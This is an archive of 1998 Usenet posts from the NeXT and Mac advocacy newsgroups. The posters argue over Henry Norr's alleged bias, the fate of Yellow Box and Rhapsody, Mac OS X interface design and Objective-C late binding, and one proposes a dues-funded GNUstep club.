> along the lines of "Apple shouldn't be doing this because Apple would be
> more successful if it weren't." This stands in stark contrast to
> "anti-Apple bias" you described in an earlier post. Norr has a very
> strong pro-Apple bias, and he criticizes what he considers to be bad
> behavior because of it.
Balogna. This may indeed be YOUR take on his criticisms, but they're not
mine. How else do you characterize a month-long flame fest on CIS where he
went around telling everyone that Pentiums were faster?
> When one is in favor of something, sometimes one reaches a point where
> it's necessary to actually criticize because of your desire to see
> positive change. That point usually comes when one is convinced that
> nothing but deep and difficult change will turn things around. For me
> that point hit somewhere around the time Steve Jobs hit the company. The
> saddest thing is when despite all the criticism, stupidity prevails and
> the cause sinks anyway. For those last bitter moments, all you can do is
> criticize because there's nothing good left.
Except the stock price, increasing sales, better OS's and a clear vision
for the future? And you call Scott biased?
> pretty good indicator of how much he cares. I would say that the
> converse probably applies to you, although you likely don't realize how
> obvious it is.
And sadly you again think nothing of ascribing your own opinions to other
people's thought processes.
Maury
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 15 Jul 1998 15:19:30 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oiha2$rkm$1@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> It wouldn't be much of a debate.
>
> Which OS has the highest productivity?
> Which OS has the best ease of use?
> Which OS has the lowest TCO?
In a comparison to what? Windows (3.1)? Some X windows shlock. Well now,
that's nothing to really be proud is it?
> The answer to all of these is "Mac OS". That's working well in my book.
Nothing personal, but based on your track record of self admitted biased one
way advocacy, that is not exactly saying much.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 15:14:36 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6oih0s$efg@shelob.afs.com>
References: <6ogjoj$vnt$1@nnrp1.dejanews.com>
embuck@my-dejanews.com writes
> All evidence is that Carbon was conceived mere days before the
> convention.
With this statement, I now *know* you don't have as much information,
from the right people, as you always claim to. I just looked through
an email archive, and I heard my first inklings about Carbon (not
using that name, but conceptually) THREE MONTHS before WWDC. Maybe
the name was chosen mere days before, but work on the concept predates
WWDC by a significant amount of time, TO MY DIRECT KNOWLEDGE.
> Since WWDC the message has completely changed.
I don't see that at all.
> If WWDC were held next week, would YellowBox sessions exist?
IMNSHO, absolutely.
It's looking more and more like Apple pissed you off, and then you pissed
them off, and now you're farther out of the loop than you would like to
admit. Look, I'm not expecting fireworks and moonbeams from Apple to
surround the OSX/Server introduction, but I'm nowhere near your pervasive
pessimism about the whole thing.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 16 Jul 1998 01:12:19 +1000
Organization: OzEmail Ltd.
Message-ID: <6oihl3$c83$1@reader1.reader.news.ozemail.net>
References: <35950368.F8A5D7A7@nstar.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <P <6oh92j$2mv$2@lwnws01.ne.highway1.com> <cdoutyEw4Czw.3Ew@netcom.com>
Chris Douty <cdouty@netcom.com> wrote in message
cdoutyEw4Czw.3Ew@netcom.com...
>In article <6oh92j$2mv$2@lwnws01.ne.highway1.com>,
>John Kheit <jkheit@mediaone.net> wrote:
>>mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>
>I looked at HUDs for cars a while ago (and still dream about it). I know
>that Detroit did likewise and may have shipped a speedometer projected
>onto the windshield. Until you learn how to ignore the data projection
>and actually look at the real objects out there, a novice HUD user has a
>strong potential to run into things. Hence, there aren't any car HUDs as
>standard equipment since most people barely learn how to drive at all.
Just a small point, the Nissan Bluebird SSS (in Australia) ships with a HUD
that displays Speed, rpm, fuel and possibly some other data as well.
Admittedly this is a top-end model, but AFAIK the HUD is standard on that
model. I've never actually driven one, so I have no idea how well the HUD
works, but it *is* there.
>
> -Chris
> (what does this have to do with Rhapsody?)
>
>--
>Christopher Douty - Rogue Engineer trapped in a land of software
> cdouty@netcom.com
>"Frequently the messages have meaning; that is they refer to or are
correlated
>according to some system with physical or conceptual entities. These
semantic
>aspects of communication are irrelevant to the engineering
problem." -Shannon
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: Wed, 15 Jul 1998 10:51:38 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1507981051380001@nas-p1.usc.net>
References: <35abb9e5.0@d2o103.telia.com> <B1D14061-60C40@206.165.43.216> <6oh8fp$2mv$1@lwnws01.ne.highway1.com>
In article <6oh8fp$2mv$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> have. Now I haven't clue one about how involved it would be to get real-time
> scheduling into the MACH kernel, but would very greatful, and would love to
> be educated on this topic.
It's already being done...I don't know when these advances will make it
into Apple's production system, but:
http://almond.srv.cs.cmu.edu/afs/cs/project/art-6/www/rtmach.html
Trev
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 10:47:14 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ACCF02.B825A5B9@ericsson.com>
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Maury Markowitz wrote:
[cut]
> I saw no such "attack". Norr posted his opinion, Scott talked to people he
> knew and posted his. YOU have been the one characterizing this as some
> personal vendetta.
YOU have been the one posting vindictive comments about a thread which
you *obviously* haven't read.
<quotes: Scott Anguish>
> Geez, why do you people listen to Henry Norr?
[...]
> Gee, as I recall, Mr Norr is now writing for Macintouch, not
> MacWeek. Why do I doubt that is a steady paying job.
> Writing for a publication doesn't automatically make you
> right.
[...]
> No, Mr Norr has a demonstratable Anti-YB bias. Did anyone
> notice that Macintouch was the only site to claim that Rhapsody 1.0
> was going to ship LATE this year, not late this quarter.
> Norr got pissed when Rhapsody DR1 wouldn't install on his PC
> using an Adaptec 2940UW card (the MAC version).
</quotes>
Cute job of mischaracterizing Scott, but you are in fact wrong. Scott
*directly* challenged Henry Norr's credibility with *zero*
justification. That is the subject of this thread. Scott's remarks were
totally inappropriate. Nobody here challenged Scott's own credibility
until it became obvious that he was not in a comfortable position to
apologize for his insulting and undignified remarks about an innocent
and respectable member of the community.
mmalcolm crawford, where is this "caring NeXT community" you once told
me about? I don't see any of that these days. Maybe it would be nice to
turn back the clock two years...
MJP
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 11:01:01 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980715102119.3931A-100000@ux10.cso.uiuc.edu>
References: <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <joe.ragosta-1507980651100001@elk60.dol.net>
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In-Reply-To: <joe.ragosta-1507980651100001@elk60.dol.net>
On Wed, 15 Jul 1998, Joe Ragosta wrote:
> In article <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
> > In article <mNOSPAMroeder-1407981257200001@192.168.21.171>,
> > mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> >
> > > That's because the Mac UI works well and people know it.
> >
> > Are you suggesting that the Mac UI is the epitome of UIs and that no
> > significant improvement is possible?
>
> This looks like a major straw man argument.
>
> Even the most avid Mac fans wouldn't say the OS is perfect. But it is one
> of the best available. Since it's one of the best and is already familiar
> to most customers, why not use it as the basis for further improvements?
It is the best _available_. That does not mean that it is the best
possible. When CLIs were the only thing around, those were the best
available. Would we have gotten as far as we have today with computing if
we had just used those as a basis for further improvements?
Saying that since what we have is the best available that we don't need to
come up with something entirely new is a philosophy that makes me cringe.
Just because we haven't come up with something better yet does not mean
that nothing better exists. That should not be a reason to stop trying.
The couple of dinky things I've mentioned in this thread like the menu
system replacement and such don't go nearly far enough. I don't know what
would fuel the next revolution. If I did, I'd be rich. Just because I
can't think of what would leapfrog what we have now doesn't mean that
nothing could be come up with to do so.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 11:04:12 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ACD2FC.F8276635@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com>
<joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <6oifg8$h7g$6@server.signat.org>
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Maury Markowitz wrote:
>
> In <35ABD8E4.7E40F57F@ericsson.com> Michael Peck wrote:
> > The question isn't whether or not he has an anti-Apple chip on his
> > shoulder.
>
> Considering your own arguments against Scott's take on this issue is that
> he has a pro-YB "chip" on this shoulder, this is INDEED the question.
Incredible. Somehow, Norr's honest criticism described as "anti-YB" is
equivalent to Scott Anguish's unconfirmed and, for all I know, wildly
speculatory "assurances" that YB is continuing, despite impartial
evidence from the outside to the contrary. It's not like it hasn't
already been pointed out that Norr has a journalist's perspective and
Anguish has an inside businessman's perspective. See if you can make
them fit as equivalents.
My point in posting was to combat two notions: one, that Henry Norr is
an incompetent journalist, and two, that Scott Anguish had *ANY* right
to make disparaging comments to that effect. I've already done that; you
can work out the rest of your crusade on your own terms.
Scott is a *self-interested* party with inside info. He has *NO
BUSINESS* posting that inside info publicly. as *fact*, and then
disparaging an outside observer's commentary on what evidence is
publicly available. You are attempting to justify that behavior, and I
think it's dishonest for you to change the subject. Were you one of the
people that got upset about Ric Ford publicly posting his response to an
OPEN LETTER to Steve Jobs? One wonders where you get off all hot and
bothered on this issue, on the other side of it.
> > My observation has been that Norr's criticisms of Apple were *always*
> > along the lines of "Apple shouldn't be doing this because Apple would be
> > more successful if it weren't." This stands in stark contrast to
> > "anti-Apple bias" you described in an earlier post. Norr has a very
> > strong pro-Apple bias, and he criticizes what he considers to be bad
> > behavior because of it.
>
> Balogna. This may indeed be YOUR take on his criticisms, but they're not
> mine. How else do you characterize a month-long flame fest on CIS where he
> went around telling everyone that Pentiums were faster?
I characterize it the same way I characterize the NeXT folks who
factually informed us many moons ago that the reason Apple went to
PowerPC is that 68K was such a dismal failure after the 68030. Were they
right? I happen to think so. Were they flaming? I don't happen to think
so. I think they were making commentary on an issue of import, one which
concerned them and which they considered worth criticizing.
Maybe you'd prefer we all withhold our criticisms. Oh, dear, in that
case Scott Anguish would *STILL* be wrong, since he was the one who
criticizes Norr with zero provocation.
> > the cause sinks anyway. For those last bitter moments, all you can do is
> > criticize because there's nothing good left.
>
> Except the stock price, increasing sales, better OS's and a clear vision
> for the future? And you call Scott biased?
All of which is *wonderful*. I'm so happy Apple has chosen to chase the
consumer market. Nevermind that we were all told *repeatedly* in umpteen
different ways and at umpteen different times that Apple was moving into
the enterprise and would be shipping an advanced operating system Real
F. Soon Now.
Chasing the consumer market was what we all begged Apple to do YEARS
ago. Now even Microsoft is fleeing the razor-thin margins and invading
the enterprise. What reason do I or anyone else have to be happy that
Apple is about to plow itself into a commodity market that can't sustain
its business model and where it has demonstrated utter failure for
decades?
Never mind that the $400 million acquisition of NeXT was made on the
investments of people like myself on promises that have *VAPORIZED*.
Bias? Yeah, I have a bias against bullshit.
> > pretty good indicator of how much he cares. I would say that the
> > converse probably applies to you, although you likely don't realize how
> > obvious it is.
>
> And sadly you again think nothing of ascribing your own opinions to other
> people's thought processes.
Sadly you think nothing of reviewing the material in question before
running off at the mouth.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 11:11:25 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ACD4AD.887EBC95@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <joe.ragosta-1507981050110001@wil45.dol.net>
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Joe Ragosta wrote:
> Wrong. The issue is whether, as a journalist, he has presented news in
> unbiased fashion. He has not.
He absolutely has. Unbiased is being critical when called for. *Biased*
is the kind of pure, unadulterated advocacy you put up on your Web page.
Obviously you can't tell the difference anymore; this has become clear
to anyone familiar with your postings.
> So we see the famous Michael Peck ad hominem attack. He doesn't have a
> real argument, so he resorts to personal attacks. It's quite sad, really.
Well, at least I didn't call you a "moron" twice in the same posting.
Should I post references, O clean and pure of heart, Joe Ragosta? I
choose to be more roundabout when I make fun of you.
> You haven't responded to the example I gave.
Maybe your example should be backed up with a reference to the actual
review, hmmmm? Wouldn't *that* be out of character for you...
> When have you been in favor of Apple and their products? I can't recall
> any time recently.
What the hell do you know about my favor? I'm not a journalist, I'm not
paid to let you know what I like and don't like. When I feel like
letting Joe Ragosta in on the secret, you can be sure I will.
> Then you shouldn't have any problem disappearing for good. If there's
> nothing good left about Apple, what the heck are you doing in this group?
Recently, advocating free markets and objecting to slanderous remarks
about Henry Norr.
> Another ad hominem attack. Perhaps if you spent as much time trying to
> come up with real arguments you'd be a little more believable.
How trite. Perhaps if you made a heroic couplet out of this
all-too-common snide parting of yours, you could just stick it in your
.sig and be oh so proud of how cute you are.
MJP
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 15 Jul 1998 16:12:19 GMT
Organization: Michigan State University
Message-ID: <6oikd3$hm4$1@msunews.cl.msu.edu>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com> <SCOTT.98Jul13153549@slave.doubleu.com>
<SCOTT.98Jul14141739@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98Jul14141739@slave.doubleu.com> Scott Hess wrote:
> In article <SCOTT.98Jul13153549@slave.doubleu.com>,
> scott@doubleu.com (Scott Hess) writes:
> In article <6o5ph5$s4k$1@cronkite.cygnus.com>,
> jrudd@cygnus.com (John Rudd) writes:
> The Cygnus founders saw an opportunity in the late 80's to make
> money by customizing and supporting GCC. I'm curious if
perhaps
> this is a similar opportunity. The Enterprise customers we're
> talking about here are entities that already see value in
> Openstep. Do they see enough value to jointly fund a
> Cyngus-like company that would focus on Gnustep? It _may_
leave
> the in a situation to live on YB until their new company could
> finish Gnustep, and then switch to Gnustep as soon as possible.
>
> Assuming that Rhapsody/Intel really _does_ go away (I'll believe
it
> after I see it), I'll be looking for somewhere to jump ship to.
> Count me in :-).
>
> Actually, I was just wondering....
>
> The NeXT faithful are pretty faithful, some of them. I wonder how
> much money you could bring in if you set up a "NeXT Club", and
charged
> $100/year for membership. Dues would pay to employ psuedo-volunteers
> to code on GnuStep+Linux. [I say "psuedo-volunteers" because I'm
> assuming a low pay scale, relative to industry.] Membership would
get
> you, say, access to source code, or perhaps access to new releases
> earlier than the regular joe.
>
> Better yet, force the coders and packagers to write monthly articles,
> and put out a newsletter so that subscription costs are deductable.
> Perhaps that would result in improved documentation in the bargain.
>
> It almost seems like a good idea. I'm sure there are completely
valid
> reasons why it wouldn't work in practice,
Kind of an interesting idea I think. Though I think the articles would
be a bit much. I think better would be to take the money generated
by the club and offer prizes to the people who implement a particular
features. The best way to work it would be to let the people working
on the GNUstep/Linux project nominate individuals who they think
should get the prize money for a particular category - then we the
NeXTclub members would vote on the feature that gets top prize,
second etc.
We could also hold votes at the same time letting people know
what we might like to see in the next 6 months.. There would
be no guarantee that after 6 months we'd still vote the same way..
But it would tell people where to effectively work - to better
their chances of winning some prize money..
The idea being that people are already working on the project.
That the people working on the project - know best who did a
lot of work - and who should receive the prize money in a
particular category (or project). Then we get to decide which
projects really were important to us - and which should get
the prize money this time around..
As to articles I would simply offer a prize catagory for the
best web article in the 6 month period on GNUstep/Linux.
BTW: The $100/year memebership gets you what from the club
other than the ability to vote - a newsletter is a bit much I think.
What's wrong with web pages. Since what I'm proposing would
be somewhat different.
I would say that it might be best to make a tier donation system
Contributor $1-10
Donator $10-25
Member $25-100
Individual
Sponsor $100 and up
Company
Sponsor $250 & up
Tack on a $1 membership fee to go to the organizer for
Contributor & Donators, $5 for Member, $10 for Individual Sponsor,
and $25 for Company Sponsor - to deal with expenses - etc.
Also if your doing this right - I think the number of votes a person
gets to cast should be equal to the number of $ they've contributed
on top of their membership fee.
Actually rather than awarding prizes in this way you just total
the votes ($1) and award the money to the categories/individuals..
Effectively the GNUstep folks get to control the categories and who
gets on the list we would control how much an individual gets - there
also could be a category where you don't have to choose a person
you can just vote for whomever won the most nominations - or
to split the money according to the nomination vote. A pain to
account for - but this is what we have computers for.. This way
we can vote directly with our $$, either for categories/projects,
or an individual contributor to a project, etc.
Even with $1 you can participate - I think that could work
as $100 is too much to ask of many folks. Let people support the
endeavor to the level they desire. Surely Sponsors would pop out of
the network.. I would say that Individual and Company Sponsors
should get some public credit on the GNUstep/Linux web pages
somewhere (or the Club Web Pages), etc.
I wouldn't necessarily call it the NeXT Club. I'd call it
the GNUstep Club - The NeXT Chapter. That way other folks
who are interested can form their own Chapters..
Hell if people were really interested in this I may be
interested in hosting a the web pages - someone else
surely could do it also. I think I could deal with collecting
and distributing the money - along with creating a e-mail
voting system that would be relatively secure. The GNUstep
folks would have to set up a similiar system to do their
nomination voting. Category creation would have to
cooperative - but of course under the guideance of
the GNUstep folks..
Kind of a cool idea - we'd have to talk to the GNUstep
folks about it and see what their reactions were.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 18:21:25 +0200
Organization: Completely Disorganized
Message-ID: <1dc7zgu.f13iy01w4e8dwN@rhrz-isdn3-p14.rhrz.uni-bonn.de>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com> <6oei8o$672$5@lwnws01.ne.highway1.com> <1dc6iny.14bhwuc15rwxyeN@rhrz-isdn3-p59.rhrz.uni-bonn.de> <Pine.SOL.3.96.980714142820.440D-100000@apocalypse.OCF.Berkeley.EDU>
Mail-Copies-To: never
Secret Agent Man <averyc@ocf.Berkeley.EDU> wrote:
> > Any pointers where I can get an impression of UIs that are very much
> > better than what Apple has to offer?
> >
> > Michael
>
> Try looking at AfterStep for Linux. It's a beautiful GUI. I'd take it over
> the Mac GUI anyday, 'cept it's a pain to put Linux on PPC. Certainly not
> as easy as it is to put on a Wintel box.
I had a look at it. It looks nice, but I _think_ you can come pretty
close on a Mac using Kaleidoscope (this is not meant as a substantial
claim, no need to argue about it!).
From what I see I wouldn't consider AfterStep clearly superior to the
current Mac OS UI. Sure, it looks different. And, sure, to some it will
look better. But what makes it so much better regarding usability?
In the past several days I had a look at the web sites of various Linux
UI stuff: AfterStep, GNOME, KDE, GNUStep, BlackBox, and probably some
others. Some of them look nice, but apart from that they seem pretty
boring. There's been nothing that I wanted to have instantly -- like it
was with the Mac eight years ago.
Now, I don't want to claim that the Mac OS UI is the end-all be-all of
UIs. Certainly it can be improved and I don't rule out that there could
be other UIs that are _vastly_ superior. But I haven't seen them so far.
If you know of any, please tell me.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Wed, 15 Jul 1998 18:21:30 +0200
Organization: Completely Disorganized
Message-ID: <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com>
Mail-Copies-To: never
<doylep@my-dejanews.com> wrote:
> In article <6o32eu$ljg1@odie.mcleod.net>,
> "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> >
> > Objective-C postpones binding until runtime. C++ by specification has bound
> > all member function invocations at link time. If you do not know what the
> > advantages of LATE binding are, I suggest further investigation. Binding
> > time has little or no impact of code maintainability except the positive
> > impact derived from fewer classes and simpler design.
>
> I'm not sure I understand. C++ virtual functions are not bound to an
> implementation until runtime. What is the difference between this and the
> late binding you are referring to?
C++ virtual functions are (usually) bound through fixed indexes into
function pointer arrays. Objective-C methods are bound through
associative lookup of selectors in tables.
The main difference is that in Objective-C you can change the table at
runtime. Or, rather, you don't have to know at compile-time what exactly
is in the table.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 11:23:53 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1507981123530001@nas-p1.usc.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <2H2r1.193$E5.1810459@proxye1.san.rr.com>
In article <2H2r1.193$E5.1810459@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> First, I note you ignored the rest of my message wherein I cite two
> significant examples where Apple itself spent *major* R&D resources on
> moving beyond the traditional Macintosh UI that in of itself indicates to me
> you're not interested in a useful discussion regarding flaws of the Mac UI
While I'm sure there are people in this newsgroup who are capable of
expounding on it at length, Apple's work with OpenDoc was a huge success
as proof of the document-centric concept. For whatever reason, it didn't
find the commercial acceptance (support from other companies) it needed to
survive. Lots of companies gave it lip-service, but only a few actually
released parts... But most of the people who used it found it eminently
cool.
One of the last things that was said by Apple on the matter was that they
felt Java and Javabeans would address some of the same functionality.
Indeed, Digital Harbor had already begun implementing its killer WAV
work-processor in Java. I don't know if it ever came out. I'll try to
find some statements from Apple on this.
Perhaps the rush to Java and Javabeans was premature given the condition
of the language; but Apple certainly seems to have embraced Java and has
announced that its OS would in the future be an ideal host for running
Java. It's a renewed commitment which they seemed to have given up on for
a time. Current Java work on the Mac platform is very promising indeed.
Regarding the PPT aspect of Pink: I'm not familiar with it. It sounds
like some of what Be has done with its integrated database. Did the
Newton OS implement something like this in it's single-level object
store? What about XML for integrating all kinds of everyday objects into
a network-ready database? NeXTSTEP had things like Digital Librarian
which indexed system data and made it available to other
apps...SpiderWoman carried this concept all the way across the Web. Do
such things address some of the day-to-day aspects of the UI that Pink
tried to address? I may be completely off-base here; but I'd appreciate
talking about it.
The Mac UI can certainly be improved to work better with human workflow
patterns, but in terms of direct interaction with a person, aesthetics,
ease of accomplishing computer tasks, etc. it can hardly be beaten.
Trev
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: next.advocacy says:YB is dead -- YB says: next.advocacy is dead!
Date: 15 Jul 1998 16:42:14 GMT
Organization: Michigan State University
Message-ID: <6oim56$hm4$2@msunews.cl.msu.edu>
References: <35ac4e75.0@news.telekabel.at>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Christian Benesch
In <35ac4e75.0@news.telekabel.at> Christian Benesch wrote:
> Tragic, how many people post here that just don't have a
clue,whatsoever.
> The same,unfounded rantings going on relentlessly since WWDC, and
nobody
> seems even to care to take a look at sites like www.stepwise.com .
> And always the same answer popping to mind:
> $400 million down the gutter? It can't be!!!
>
> I think that at least the few optimists here will agree that with
Apple
> gaining some commercial foothold at last, future is rosier than ever.
>
> This group has a fascination with failure and people are going to
extreme
> length to support it.(in postings like: Right-hand scroll-bars??
Oh,good
> Lord, YB is dead!!!!)
>
> Perhaps I don't quite understand the concept of this group, but
"advocacy",
> at least to my ears, sounds a little more supportive.
>
> Christian Benesch
> (praying for Powerbook G3 support and fed up with all you
doom-sayers)
>
Well to my mind advocacy is where people post arguments for being an
advocate and where people shoot those down. It is a debate place.
